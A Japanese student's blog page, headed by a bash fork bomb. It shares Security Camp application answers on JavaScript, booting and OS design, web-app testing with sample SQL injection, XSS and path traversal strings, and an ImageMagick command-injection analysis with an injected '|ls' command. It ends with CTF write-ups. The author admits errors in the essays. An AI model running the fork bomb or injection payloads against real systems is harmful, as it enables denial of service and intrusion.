$ :(){ :|:& };:

$ :(){ :|:& };:

なめこうどん

seccamp' 16 の応募用紙を晒す

今年もセキュリティ・キャンプの応募が始まったらしい

www.ipa.go.jp

懐かしい

応募用紙の公開については「課題の内容も異なるしあまり意味のあるものではないのではないか」という意見も少なからず存在するようだが

少なくとも自分が当時応募用紙を書いた時は色々な方が公開されていた過去の応募用紙からその雰囲気だったり内容の書き方だったりを参考にさせていただいた記憶もあり、実は受かった直後からあげようとしてずっとはてブの下書きに入ってたやつだったので出してみた。

あとは当時の原文ママで貼り付けただけなので怪文書です。なんかところどころ間違ってます。 1年経ってある程度は成長したのかとポジティブに捉えていきたい。間違え探しだと思ってご笑納ください(?)

思ったこと

あくまで主観的な感想です

  • 技術力の優劣・知識の正確性や厳密性というよりは、熱意や やる気・どれだけ手を動かしたか/努力したか、を評価される

これは他の卒業生の方が口を揃えて仰っていることだが全面的に同意することである。

その上で意味不明な単語の羅列が出現してもとりあえずggってみるなり、数十行のアセンブリが貼っ付けられて「これから何か感じることを自由に書いてね」みたいなことを言われてもとりあえず何かしら手を動かしてみるなり、そして重要なのはそういった過程をそのまま応募用紙に記述することが大事かなぁと。 (あとこれには私のように知ったかぶりして微妙に変なことを書いてしまうという点でもちゃんと調べることは重要だという反省も含んでいる)

  • 躊躇してないで早めに取りかかったほうがいい

意外と必須問題のポエム制作に時間がかかった記憶がある。せっかく途中まで書いたのに…ということが起きないためにも

これは多分自分の性格の問題なので多くの方は問題ないと思うのだが、 ギリギリまで手を付けなかった結果、結局定期考査1日目が終わった夕方に、勉強をする友人に窘められながら締め切り10分前に提出をする羽目になり間に合うかどうかかなりヒヤヒヤだった上、いくつかの課題の回答がかなり雑になってしまった。 早め早めに課題に取りかかるということは別にこれに限ったことじゃないだろというツッコミが来そうだが一応書いておきます。

ちなみに応募する際の入力フォームですが(少なくとも去年まではそうでしたが)

60分程度でセッションが切断され、入力内容が無効となります。

ので頑張って書いたデータが消失する可能性が無きにしもあらずなのでご注意を


以下本編です

先程も述べましたが、少なくとも技術的な内容に関して間違っている部分があるのを確認しているので 内容の正誤についての責任は負えません 宜しくお願い致します。

応募用紙

問題一覧:

https://www.ipa.go.jp/files/000053055.pdf

必須問題

q1

今まで作ったもの・やったこと自慢のコーナーでした。ちょっとあまりにも長かったのと、他愛のないものがグダグダと書かれて居るだけだったので省略

q2

q2-1

あなたが経験した中で印象に残っている技術的な壁はなんでしょうか?

JavaScriptでのオブジェクト指向プログラミング手法

無論ながらJavaScriptにクラスという概念はないが、本当にオブジェクト指向プログラミングは可能なのかということ。 Webサイト等では可能だとの記述は散見されるが、それならデータ隠蔽や継承はどのように行われているのかということ。

q2-2

その壁を乗り越えるために取った解決法を具体的に教えてください。

8割は書籍を読むことで解決した、以下その書籍のリストである。

あとは “ひたすら書いてみること” である。

壁に対する答えを非常に簡単に述べると

そもそもオブジェクト指向の本質的な部分は、メッセージングとカプセル化にあり、この要件を満たす手法として「オブジェクト指向プログラミング」がある。 ゆえに Class = オブジェクト指向ではなく、実現手段にはいくつかの手段がある。 その点、JavaScriptは、プロトタイプベースのオブジェクト指向であり、クロージャーとプロトタイプチェインをうまく用いる形でオブジェクト指向プログラミングは可能である。 その中にもモジュールパターン系統とコンストラクタパターン等他にも複数のイディオムがあるが、本質的に実現していることは同じである。各々に細かな振る舞いの違いがあるため用途によってうまく使い分けを見極める。

また、もしJavaScriptでクラスベースのオブジェクト指向プログラミングをしたいのならば、TypeScrpt等のaltJSを用いると可能である。 大規模プロジェクトで生のJS書くことはめったになくこれらのaltJSを用いることが多い。

あとは、JavaScriptの次の規格であるECMAScript 2015(ES6)では、Class記法が導入される予定である(やはり内部ではプロトタイプベースのものとして処理されている) 現段階ではまだブラウザによって実装の程度がまちまちなため、ES6の記法でコードを書くにはBabel(旧6to5)等でのトランスパイルが必要になる。

無論、オブジェクト指向プログラミングに拘る理由もなく、関数型プログラミングという選択肢もなくはない。 ただ、これも生のJSでやろうとするとかなり中途半端なことになってしまうと思われる。特に、Array.prototype.reduce()のはとても関数型とは言いがたい実装になっていたりする。これも、PureScript等のaltJSに頼るしかない。

これは余談であるが、altJSの中には他の言語をJSに変換するものも多くあり、ClojureScript (Clojure => JavaScript)、ghcjs(Haskell => JavaScript)等はたまに書いてる人を目撃することもある。 他のaltJSはこちらを参照していただきたい。(https://github.com/jashkenas/coffeescript/wiki/list-of-languages-that-compile-to-js)

かつ、良くなかった点は書籍を見て考え方を理解した私はそれで満足してしまったことだ。

書籍を眺めて、ほうほう、こういうことかと理解したつもりになっていても、それは所詮机上の空論である。 私は、完璧に理解してからでしかコードを書きたくなかったし、かと言って写経もあまり好きではない人間だったが、それが習得を完全に遅らせていたと今ならわかる。 未だにどうしても完璧なコードを書きたいきらいがあるが、とりあえずなんでもいいから実践することで本質を理解し自分のものにしていくということも、このことを通して重要なことだと感じた。

q2-3

その壁を今経験しているであろう初心者にアドバイスをするとしたら、あなたはどんなアドバイスをしますか?

JavaScriptを理解する上でO'REILLYのサイ本を読むことは欠かせない。他の言語とは少し違うパラダイムも多いのでまずはその言語仕様をある程度理解する必要がある。その上で、その特性を活かしたイディオムを理解するほうが良いと考える。 ただ、オブジェクト指向に関して言えば、今からならネット上にある古き慣習よりも、Babel等のトランスパイラを用いてES6のclass記法を使う方が遥かに無難である。また、現在の書籍はES5以前のものがほとんどだが、ネット上にはES6の記事もかなり出ている上、他にもES6の方が優れている部分が多いので(継承のextends、ブロックスコープのconstとletやアロー演算子、デフォルト引数など)できればES6の習得が望ましい。

また、パラダイムや概念を理解することももちろん重要ではあるが、写経でも良いのでとりあえず書いてみることが良いと思う。実際に手を動かすことで得るものも多い。

q3

q3-1

あなたが今年のセキュリティ・キャンプで受講したいと思っている講義は何ですか?(複数可)また、そこで、どのようなことを学びたいですか?なぜそれを学びたいのですか?

受講したいと思うものが多すぎるため、最も興味のある講座を挙げさせていただくと、 6-Aの次世代プラットフォームのセキュリティモデル考察*1 である。

近年のフロントエンドの動向は凄まじく速く、新しい技術が本当に次々と生まれ、1ヶ月前まで人気を博していたライブラリがオワコン(コンテンツの寿命が終わった、つまり使い物にならなくなった。)と呼ばれ消えていくサイクルを高速に繰り返している。 しかし、その中で相対的にセキュリティは確実に疎かになっているように私も強く感じる。 特に最近はフロントエンドのバックエンドに対する相対的な重みは増す一方であるにもかかわらず、その発展速度からセキュアなコーディングをする手法は体系的にまとめらることがない現状である。さらにサードパーティ的なプラグインを使うことは開発においてほぼ必須であるため、更に状況は悪いように思える。

その上で、自分もOSSや自分のプロジェクトでこういったことに関わる身として知っておかなければならないと考えるから、ということが興味の理由である。

q3-2

あなたがセキュリティ・キャンプでやりたいことは何ですか?身につけたいものは何ですか?(複数可)自由に答えてください。

私は今まで書籍やネット等でほぼ独学的にセキュリティに関する勉強をしてきた。 その中で、先日行われた日本情報オリンピック(JOI)の予選でCTFの日本チームで活躍している方と話す機会があった。 結果は自明なのが、自分の知識の体系性のなさ、厚みのなさを本当に強く実感した。 その上で、現場で活躍されているプロの方々から直々に学べるというセキュリティ・キャンプは心から参加したいものである。

私はセキュリティ・キャンプで体系的な知識を得ること、そしてその知識をただ得るだけでなく活かす・貢献する方法を考えることが目標である。

また先日大きな衝撃を受けたのはNHKで放映されているプロフェッショナル 仕事の流儀での名和 利男さんの特集である。 サイバーセキュリティに関する第一人者の方の特集ということで、テレビはいつもほとんど見ないのだが何気なくで視聴した。 名和さんのサイバーセキュリティという職に対する極めてストイックな姿勢にも感動を覚えたが、何より背筋が凍るような衝動を感じたのは現在のサイバー犯罪の実情だった。 これだけ日本の中枢機関が体外的な脅威に晒されている状態にあることをなぜ知らなかったのかと強く感じた、ということも理由の一つに挙げられる

選択問題

q3

RAMは主記憶装置、HDDやSSDなどは補助記憶装置と呼ばれます。一般にCPUは主記憶装置上のプログラムしか実行できません。ではなぜ、私たちは普段から補助記憶装置に書き込んだプログラムを実行できているのでしょうか?パソコンの電源を入れてからのストーリーを考えてみてください。

設問のとおり、通常のコンピューターはメインメモリ上のプログラムしか実行することができない仕組みになっている。しかし、メインメモリは揮発性である上容量も比較的小さいため、補助記憶装置にプログラムを書き込んで置くのである。 そして、補助記憶装置に書き込んであるプログラムは適宜プログラムローダーによってメインメモリに書きだされ、実行される仕組みになっている

しかし、この働きを助けるプログラムローダー自身も無論プログラムでメインメモリ上にあるはずである。しかし、電源を入れた直後に揮発性のメインメモリ上には何もないはずである。さらに言えばOSも補助記憶装置に保存しておくことが一般的であり、OS自身も存在しないはずである。

これを解決しているのがブートローダーである。

まず1次ブートローダー(これをブートローダという呼び方をしない場合もある)は不揮発性のROM内に保存されていることが多い。コンピューターの電源を入れると、CPUは外部からの指示なしにこの領域にあるプログラムである1次ブートローダーを実行するように元々設計されている。この流れをPower On Slef Test(POST)と呼ぶ。 一般的な1次ブートローダーには次のようなものある。

そして呼びだされた1次ブートローダーはブートできる各種デバイスから最も優先順位の高いもののブートセクタ(パーティッションのある記憶媒体ならMBR)から2次ブートローダー(カーネルローダーとも)を読み込む。これは、補助記憶装置から段階的にOSをメインメモリに読み込んでいき、最後にOSを実行する仕組みになっている。 2次ブートローダーには次のようなものがある

これで、晴れてプログラムローダーも読み込まれ私達は補助記憶装置に書き込んだプログラムを実行することができるのである。

q5

PCなどに搭載されているOSは「汎用OS」と呼ばれますが、それに対して、家電やAV機器などの「組込みシステム」に搭載されているOSは「組込みOS」と呼ばれます。組込みOSと汎用OSの違い、「OSが無い」や「ベアメタル」という環境、そもそもOSとは何なのか?など、あなた自身はどう考えているのかを、あなた自身の言葉で自由に説明してください。(「正しい答え」を聞いているわけではありません。あなた自身の考えを教えてください)

先に結論を言ってしまうと、OSに関して共通して言えることは、計算機上の重要資源であるCPU,Memory,I/Oを抽象化、管理するものである。しかし、OSの用途や目的によっては資源の管理に対する関心やアプローチ、程度が違ったり、またこの他に別の機能を追加する形になっていたりするのである。 それを以下OSを幾つかに分けて論じていきたい。

  • 汎用OS

汎用OSとは、Windows,Mac OS,Linuxなど、その名の通り汎用的な利用を想定したOSのことである。 一般的に「OS」という言葉を使うとき汎用OSを指すことが多いように感じる。

これらの特徴は不特定多数の人間による応用アプリケーションを通しての操作を期待している、ということである。 仮に、先述したOSの基本的な機能だけを有したコンピューターがあっても、現代で汎用的に使ってもらうことはまずありえない。 現代の汎用OSはこれらの機能の上に、ファイラ等のシステム・アプリケーションをGUIとして提供しているのである。 そしてこの上に任意のアプリケーションを動かすことができる仕組みになっているのである。

このように、カーネルとシステムを機能を合わせたものを「汎用OS」と呼ぶことが多いように感じる。

そして、この「汎用的な利用に対応しなければならない」ことが汎用OSの特徴を大きく影響している。

まず、主役である応用アプリケーションを任意のデバイスで動かすための、抽象化した共通API(若しくはABI)が必須である。 資源の保護や抽象化も必須である。 CPUやメモリを不正に獲得するプログラムがあったとしても適切に資源を配分していく必要がある。このためにCPUに関していえばTSSのような機能は欠かせない。 また、メモリで言えアプリケーション同士でメモリ資源が衝突を起こさないように仮想メモリの機能も必要である。

  • 組み込みOS(専用OS)

組み込みOS不特定多数の利用を心配しなくてよく、 かつ、何をするかの用途も明確に決まっており、その用途に必要なもののみを搭載しそれらのみを特化させた機能を持っているということが最大の特徴(汎用OSは、各ユーザーが自分好みのことを行うために多くの機能が搭載されているわけであり、そういったものはいらない訳である。)

TSSによるCPU資源の配分機能、仮想記憶方式(ページングやセグメント方式等)でのメモリ保護ははっきりいてそこまで重要ではない場合が多いと考える。 CPUやメモリ等を無限に食い尽くすようなプログラムはそもそも動かさないだろうし、万一おきたとしてもその対策は最小限でいいはずである。 また共通API(ABI)も必要なのか。他者が利用するならあれば便利だろうが、汎用OSのように綿密に定義する必要はないし絶対に必要な条件ではないだろう。

むしろ、制御プログラムをマルチタスクで動作させ少ないハードウェア資源で効率的に動作しコストを削減するといったことに関心があるように感じる。 例えば、組み込みOSはRTOSの特徴を持つ場合が多い。主要な機能である資源管理において、時間資源の優先度に基づく配分と実行時間の予測可能性を提供することに特化している。汎用OSに比べてリアルタイム性を重視しているということだ。

逆にその他に関しては汎用OSに比べて遥かに簡素な機能でOSの基本要件であるCPU、メモリ、I/Oの管理をしているわけだ。

  • 一部の組み込みOS

一部の組み込みシステムではWindows Embedded等が搭載されていることもある。これらのOSはあくまで「組み込みOS」ではあるが、不特定多数の多岐に渡る使われ方を想定しているため、インターフェースは抽象化されている必要である。

だが、「最終的な」用途は不特定多数からの利用ではないため、資源管理に対する関心は組み込みOSに近い部分も多い。

  • その他

また、独自ハードウェアなど、そもそもこういったOSの機能すらも必要としない場合もあるだろう。その場合はそれで十分なのである。プログラムで各デバイスを直接指示すればいいわけであり、OSはコンピューターを動かすための必要条件ではない。

また、最近ではベアメタル呼ばれるものがある。 これには、2つの意味があり、1つは上記のようなOSがないコンピューターのことである。 また、コンピューターの仮想化の分野でもベアメタルという言葉が使われる分野がある。 ホスト型の仮想環境は、ホストOS上に仮想化ソフトウェアを起動させ、更にその上でゲストOSを実行する形になる。ゲストOSからハードウェアにアクセスするためにはホストOSを経由しなければならないためオーバーヘッドが生じるが、ハイパーバイザー型のベアメタル呼ばれる仮想環境は、ホストOSを必要としないため、ゲストOSがハードウェアを直接制御できる形式になり速度低下を抑える事ができるのである。 コンピューターの資源を管理するための機能をもつものが2つあっても非効率なだけであるのは明らかである。ただ、ABIは抽象化する必要があるためハイパーバーザーと呼ばれるものがユーザー・アプリケーションとホストOSの間を仲介する。

q6

IDとパスワードを入力してユーザの認証を行うWebアプリがあります。あなたがこのアプリに対してセキュリティテストを行う場合、まず、どのようなテストをしますか? なぜそのテストを選択したのか、その背景や技術的根拠と共に記載してください。アプリの内部で使われている技術やシステム構成に、前提を置いても構いません。

以下の脆弱性は特にフォーム等からユーザーの入力を求める際に主に発生するものである

  • SQLインジェクションの可否 FORM等で入力されたデータをエスケープせずにそのままSQLのクエリの一部として渡している時等に、意図しないSQL文を発行させデータベースを不正操作する脆弱性

    以下にその非常に簡単な例を示す

    PHPにおいて $email = $_POST['email']; $password = $_POST['password'];

    とPOSTデータを受け取り

    $sqlreq = "SELECT * FROM users WHERE email = '$email' AND password = '$password'";

    SQLリクエストを発行させたとする。

    このとき、あるユーザー名に対して、passwordに例えば ‘ OR 1=1– と指定すると クエリ全体は真を返してしまう。

    これらに対してサニタイジングやバインドバインドメカニズムが適用されているか。

  • XSSの可否 フォームの値をエスケープなしでHTML中に出力したとき、もし、フォームの値に次のパターンのような文字列を指定した時、任意のJavaScriptの実行できる脆弱性

    主なパターンは以下のとおり

    • シングルクォートを使用した場合'><script>alert('hogehoge')</script>
    • ダブルクォートを使用した場合"><script>alert("hogehoge")</script>
    • imgタグのsrc属性にJavaScriptを使った場合"><img src="javascript:alert('hogehoge')">
    • IE限定でスタイルシートの柔軟性によるXSSが生じる場合" style="left:expression( alert('test') )"
    • JavaScriptに入力データが動的に埋め込まれている場合'+alert('hogehoge')+'
    • XMLHttpRequest(XHR)によってJSONをやりとりしている場合

    これらに対して正しく入力チェックやサニタイジングが行われているか。 また特にXMLHttpRequest(XHR)によってJSONをやりとりしている場合はレスポンスヘッダにX-Content-Type-Options: nosniffをつけているか、XHRからのリクエストのみに対応するようにしているかどうか

    またサニタイジングも独自のものではなく信頼性のあるもの(PHPであればhtmlspecialchars)等を利用しているかどうか

以下の脆弱性は特にID、パスワードを扱うことから発生するものである

  • CSRFの可否 悪意のあるWebサーバーが、訪れたユーザーの外部Webアプリの認証データや識別データを利用しそのWebアプリに対してユーザーの意図しない不正な操作を行うこと つまり、Webアプリ側がなんらかの値(セッションやページトークンで)認証することで、外部から誘導されたの不正なHTTPリクエストを拒否しているかどうか。

    • 認証やセッション管理の弱点の有無
      • Session Hijack(セッションハイジャック)の可否 セッションの生成に問題があるとき、推測または総当りで有効なセッションを奪取
      • Session Replay セッションの有効期限の指定がなかったり長過ぎたりした場合、漏洩時(例えばXSSや盗聴)にそのセッションIDを利用される。
      • Session Fixation ログイン前と後でセッションIDが変化しない場合

      これらの特徴があるかどうか。またHTTPSのCoockieにはSecure属性が指定されているかどうか

    • HTTPヘッダインジェクションの有無 HTTPヘッダにおける特殊文字である改行コードを悪用し、本来通信内容に含まれないヘッダを挿入する。 例えばSet-coockie属性を挿入し任意のCoockieを指定しSession Hijackに繋がる
  • 機密情報のhiddenでのhtmlへの埋め込みの有無 ユーザー登録などの際の確認画面にて、 セッション変数やハッシュを利用せずIDやパスワード等をそのまま表示するとユーザー側にテンポラリファイルととして機密情報が残ってしまうことがあるため。

  • 暗号方式の有無 脆弱性の見つかった暗号方式や通信を用いてるかどうか。

以下の脆弱性は一般的なWebアプリに共通して当てはまるもののうち、特に留意する必要のあるもの

  • OSコマンドインジェクションの可否 ユーザーから入力を受け取るとき、

    • Perlのexec(),system,...
    • PHPのexec(),passthru(),proc_open(),shell_exec(),system()
    • Pythonのos.system(),os.popen()
    • Rubyのexec(),system(),`` 等にエスケープせずに文字列を渡してしまう場合、文字列にシェル文字を含むことによって任意のシェルコマンドを実行させる脆弱性。 シェル文字とは、シェルにおいて特殊な意味を持つ* ? {} [] <> () ~ & | \ $ ; ' \ “ \n \t ` スペース 等の文字である。

    これらに対して、正しくサニタイズされているか。 またサニタイジングも独自のものではなく信頼性のあるもの(PHPであればescapeshellarg)等を利用しているかどうか

  • エラー処理 サーバー側でのエラーは内部のOSやフレームワークの情報につながり、攻撃への手がかりになることがある。データベース(もしくはデータベースドライバ)が返すSQL関係のエラーメッセージも同様である。 これらに対して、エラーハンドリングが正しく行われているかどうか。

  • 脆弱性の見つかったソフトウェアやプラグイン等、また更新されていないWebサーバーソフトウェア(Apache等)や言語の利用の有無

  • Forceful Browsing (強制的ブラウズ) 作業用フォルダなどの意図しない消去忘れ(./git等)

  • Path Traversalの有無 Webブラウザからはドキュメントルートより上にはアクセスできないが、Webアプリケーションは通常どこでもアクセスできることを利用し、例えばWebアプリケーションがクエリからファイルを読み出すような仕様のとき、それに../../../../etc/passwordのようなパラメーターを投げることでファイルに不正にアクセスできる可能性がある。

  • クライアント側のコメント HTMLやJavaScriptのコメントからサーバーの仕様を推測できるようなコメントがあるかどうか。

このような項目全てを手動で行うことは非常に手間がかかるため、実際のテストは脆弱性検出ツールを用いることは多いと思われる。

主な、Webアプリケーションに対する脆弱性検出ツールは次の通り

  • OWASP ZAP
  • Paros
  • Ratproxy 
  • Metasploit(実際にexploitを打ってみて脆弱性の挙動の確認等)

他にもツールは多く存在する。 ただ、自動ツールでは、複雑な手順だったり、特殊な攻撃パターンである脆弱性は検知できない場合もあるので、手動での検査と一長一短の関係にあると考える。

q11

2015 年に発行された CVE の内、あなたが興味を持った”サーバに存在した”脆弱性について1つ提示してください。その脆弱性を悪用した攻撃を検知する方法について詳細に記述してください。また、興味を持った理由を記述してください。 CVE番号:CVE-2015-◯◯◯◯

CVE-2016-3714 - Insufficient shell characters filtering leads to(potentially remote) code execution (シェル文字列の不十分なフィルタリングによる(潜在的なリモート)コード実行の脆弱性) http://www.imagemagick.org/discourse-server/viewtopic.php?f=4&t=29588 https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2016-3714

拡張子「svg」「mvg」ファイルのアップロードにより、サーバ上でのコマンドシェルの実行(OSコマンドインジェクション)が遠隔で可能となる 例えば、ウェブサーバーにアップロードされた画像ファイルがImageMagickを用いて自動処理されている場合などが想定される。

  • 脆弱性の原理

    ImageMagick ではdelegateと呼ばれる外部ライブラリによるファイルの処理が可能であり、入力ファイル名や出力ファイル名など実際のパラメータの値と、設定ファイル delegates.xml で指定されたコマンド文字列によって実行あされる。既定の delegate のコマンドの1つが、以下の HTTPS要求の処理に利用されている。

    <delegate decode=”https” command=””curl” -s -k -o “%o” “https:%M””/>

    ImageMagickはcommandの部分のコマンドを実行する。%Mには入力ファイル名が渡される。しかし%Mを置換する際にshellの特殊文字のエスケープを実施していないので、 例えば

    convert 'https://pbs.twimg.com/profile_images/552044402504253441/FhMNjVRe.png"|ls "-l' taiyoslime.png を実行すると

    "curl" -s -k -o "taiyoslime.png" "https://pbs.twimg.com/profile_images/552044402504253441/FhMNjVRe.png"|ls "-l" が実行され、lsも実行されることとなる。

    そして、ImageMagickはこの処理を画像ファイルの中に隠すことができる。

    ImageMagickにはSVGとMVG(ImageMagick独自画像フォーマット)のcoderがあり、これらは外部のURLやファイルを参照できる。 例えば以下のMVGファイルは外部URL https://hogehoge.com/hoge を含む。

    push graphic-context viewbox 0 0 1024 720 fill 'url(https://hogehoge.com/hoge)' pop graphic-context

    この外部URL参照に対してもdelegateが実行される。この例ではHTTPS formatだとみなされ、HTTPSdelegate commandが実行され、任意のプロセスが起動出来てしまう

    さらに、ImageMagickはそのファイルがどのフォーマットのファイルかについて

    • マジックバイト
    • format: filename形式のprefix
    • 拡張子 の優先順位でチェックする。SVGやMVGはマジックバイトがチェックされるので、拡張子でpngなどを指定していたとしても、中身がSVG/MVGならばSVG/MVGと解釈されてしまう。

    そのため、MVGファイルをアップロードしconvertでファイルを処理しようとするとMVGのcoderが実行され、URLを参照している部分でコードを実行可能ということになる。

    今回の脆弱性の根本的原因は、delegateの機能で外部コマンドを呼び出す時にsystem関数を利用していたが、shellの特殊文字のエスケープを実施していなかったことにあると考える。 また、他に発見された以下のImageMagick脆弱性についてだが、すべてこれに起因するものになっている。

    • CVE-2016-3715: ephemeral:/ プロトコルを利用した遠隔からのファイルの削除
    • CVE-2016-3716: msl:/擬似プロトコルを利用した遠隔からのファイルの移動
    • CVE-2016-3717: label:@プロトコルを利用した遠隔からのファイル内容の閲覧
    • CVE-2016-3718: SSRF(Server Side Request Forgery)

    これら含めた全てのPoCが公開済みである。(https://github.com/ImageTragick/PoCs) metasploitでもこの脆弱性へのexploitに既に対応している(https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/fileformat/imagemagick_delegate.rb

  • 攻撃を検知する方法 OSコマンドインジェクション一般に言えることだが、上の脆弱性全てに言えることはconvertの引数にshell文字* ? {} [] <> () ~ & | \ $ ; ' “ \n \t スペース が含まれているかどうかに尽きる。 もしくは、サーバーのlogに、自分が実行した覚えのないコマンドが実行されいているかどうかで攻撃されたかどうかの検出可能はである。

  • 対策

    • 引数のシェル文字の無効化・サニタイズ
    • policy.xmlへのcoderの指定を追加する
    • 最新版7.0.1がこれらの脆弱性の修正版としてリリースされたが、一部の脆弱性が依然として解決されていないため利用は推奨されない。
  • 影響範囲

    CERT/CCによれば主要ディストリビューションの多くが影響を受ける。

    ImageMagickプラグインとして利用している主なアプリケーションとしては

    等がある。

    更に、C,C++,Go,Java,Python,Ruby,PHP,Perl 等のAPIを提供している(http://www.imagemagick.org/script/api.php)ため、それらを使用しているプログラムも影響される

  • 興味を持った理由

    実は、共通問題1で回答したTwitter Botのサーバーサイドのプログラムに、画像処理の機能としてnode.jsのnode-imagemagickモジュールを利用していたのである。 日頃どこかで脆弱性が見つかったというニュースを耳にしても、自分の今使っている無数の「今のところ安全と言われている」ソフトウェアを眺めながらどこか遠い存在のような気がしていたし、ましてやImageMagickで言えばサーバーサイドの画像処理では鉄板のような存在でありこれだけ使われているソフトウェアに脆弱性があるなんて夢にも思わなかった。 それが、今制作しているソフトが危機に晒されてる状態にあるのである。(実際exploitを打ってみたところOSコマンドインジェクションが可能であった。) 新鮮な体験であるとともに、ソフトウェアのセキュリティの奥深さ、信頼性の脆さに気付かされた。

*1:HTMLとJavaScript技術を用いたセキュリティの講義だった

Vigenere - SECCON 2016 Online CTF

Problem

Vigenere


k: ????????????

p: SECCON{???????????????????????????????????}

c: LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ


k=key, p=plain, c=cipher, md5(p)=f528a6ab914c1ecf856a1d93103948fe


|ABCDEFGHIJKLMNOPQRSTUVWXYZ{}

-+—————————-

A|ABCDEFGHIJKLMNOPQRSTUVWXYZ{}

B|BCDEFGHIJKLMNOPQRSTUVWXYZ{}A

C|CDEFGHIJKLMNOPQRSTUVWXYZ{}AB

D|DEFGHIJKLMNOPQRSTUVWXYZ{}ABC

E|EFGHIJKLMNOPQRSTUVWXYZ{}ABCD

F|FGHIJKLMNOPQRSTUVWXYZ{}ABCDE

G|GHIJKLMNOPQRSTUVWXYZ{}ABCDEF

H|HIJKLMNOPQRSTUVWXYZ{}ABCDEFG

I|IJKLMNOPQRSTUVWXYZ{}ABCDEFGH

J|JKLMNOPQRSTUVWXYZ{}ABCDEFGHI

K|KLMNOPQRSTUVWXYZ{}ABCDEFGHIJ

L|LMNOPQRSTUVWXYZ{}ABCDEFGHIJK

M|MNOPQRSTUVWXYZ{}ABCDEFGHIJKL

N|NOPQRSTUVWXYZ{}ABCDEFGHIJKLM

O|OPQRSTUVWXYZ{}ABCDEFGHIJKLMN

P|PQRSTUVWXYZ{}ABCDEFGHIJKLMNO

Q|QRSTUVWXYZ{}ABCDEFGHIJKLMNOP

R|RSTUVWXYZ{}ABCDEFGHIJKLMNOPQ

S|STUVWXYZ{}ABCDEFGHIJKLMNOPQR

T|TUVWXYZ{}ABCDEFGHIJKLMNOPQRS

U|UVWXYZ{}ABCDEFGHIJKLMNOPQRST

V|VWXYZ{}ABCDEFGHIJKLMNOPQRSTU

W|WXYZ{}ABCDEFGHIJKLMNOPQRSTUV

X|XYZ{}ABCDEFGHIJKLMNOPQRSTUVW

Y|YZ{}ABCDEFGHIJKLMNOPQRSTUVWX

Z|Z{}ABCDEFGHIJKLMNOPQRSTUVWXY

{|{}ABCDEFGHIJKLMNOPQRSTUVWXYZ

}|}ABCDEFGHIJKLMNOPQRSTUVWXYZ{


Vigenere cipher

https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher

Writeup

ヴィジュネル暗号の問題(ご丁寧にWikiのリンクまである)。

plainの一部が解っているのでKPAして残りの5文字を総当りしてhashと一致するか見て終わり。

計算量はO(n^5)だけどn=28なのでまあ余裕だろうと

require 'digest/md5'

def enc s
    s.ord <= 90?(s.ord-"A".ord):(s=='{' ? 26:27)
end

def dec i
    i <= 25?((i+"A".ord).chr):(i==26?'{':'}')
end

def bfa s,i,key
    3.times { |e| key[(7+i)+12*e] = dec(s) }
    26.times { |e| bfa(e,i+1,key) } if i < 4
    key.size.times { |e| $plain[e] = dec($table[key[e].to_sym].index($cipher[e])) }
    if Digest::MD5.hexdigest($plain) == $plain_md5
        puts $plain
        exit
    end
end

$cipher = "LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ"
$plain = "SECCON{???????????????????????????????????}"
$key = "???????????????????????????????????????????"
$plain_md5 = "f528a6ab914c1ecf856a1d93103948fe"
# Vigenere table
$table = { "A":"ABCDEFGHIJKLMNOPQRSTUVWXYZ{}" }
28.times { |e| $table[dec(e+1).to_sym] = $table[dec(e).to_sym].split("").rotate.join  }

# KPA
7.times { |e| 4.times { |f| $key[e+12*f] = $table.select { |k,v| v[enc($plain[e])] == $cipher[e] }.keys.join } }

# 総当り
28.times { |e| bfa(e,0,$key) }


f:id:taiyoslime:20161211212129p:plain

ちょうどJOI2016-17予選前夜だったので競プロっぽく(?)楽しめた

FLAG:SECCON{ABABABCDEDEFGHIJJKLMNOPQRSTTUVWXYYZ}

IceCTF 2016 Write-up

IceCTF(Online CTF)に参加してきた

他の進捗に追われ全然時間とれなかったので解けるやつだけ、終わる数日前くらいに適当に解いた。

結果、中途半端なことになった。1000pちょいくらい。次こそは、ちゃんと時間とって解きたい........。言い訳みたいなので。

ぼっちなのでCTFチームとかに誘ってくれたら泣いて喜びます。



Hello World! (Misc) - 1pt

FLAG:IceCTF{h3l10_wr0ld}

Spotlight (Web) - 10pt

飛ばされた先がHTML5 Canvasのいい感じな何かだったがコンソールみたらあった

FLAG:IceCTF{5tup1d_d3v5_w1th_th31r_l095}

All your Base are belong to us (Misc) - 15pt

txtにある2進数を文字列に戻すだけ

Rubyで書いた

str = "01001001 01100011 01100101 01000011 01010100 01000110 01111011 01100001 01101100 00110001 01011111
01101101 01111001 01011111 01100010 01100001 01110011 01100101 01110011 01011111 01100001 01110010
01100101 01011111 01111001 01101111 01110101 01110010 01110011 01011111 01100001 01101110 01100100
01011111 01100001 01101100 01101100 01011111 01111001 00110000 01110101 01110010 01011111 01100010
01100001 01110011 01100101 01110011 01011111 01100001 01110010 01100101 01011111 01101101 01101001
01101110 01100101 01111101"

p str.split("\n").each {|el| el.split(" ").each{|e| print e.to_i(2).chr}}

# => IceCTF{al1_my_bases_are_yours_and_all_y0ur_bases_are_mine}

FLAG:IceCTF{al1_my_bases_are_yours_and_all_y0ur_bases_are_mine}

Rotated! (Cryptography) - 20pt

$ echo 'VprPGS{jnvg_bar_cyhf_1_vf_3?}' | tr 'V-ZA-Up-za-o' 'I-ZA-Hc-za-b'
IceCTF{wait_one_plus_1_is_3?}

trがちょっと汚い

FLAG:IceCTF{wait_one_plus_1_is_3?}

Move Along (Web) - 30 pt

アクセスすると本当に画像があるHTMLしかないのだが、おいてある画像のpathが/move_along/nothing-to-see-here.jpgだったので/move_alongにアクセスしたら

/move_along/0f76da769d67e021518f05b552406ff6/secret.jpgあたりに何かがあるので行ったら旗だった。

FLAG:IceCTF{tH3_c4t_15_Ou7_oF_THe_b49}

ねこかわいい

f:id:taiyoslime:20160827205617j:plain

Substituted (Cryptography) - 30pt

Lw!

Gyzvecy ke WvyVKT!

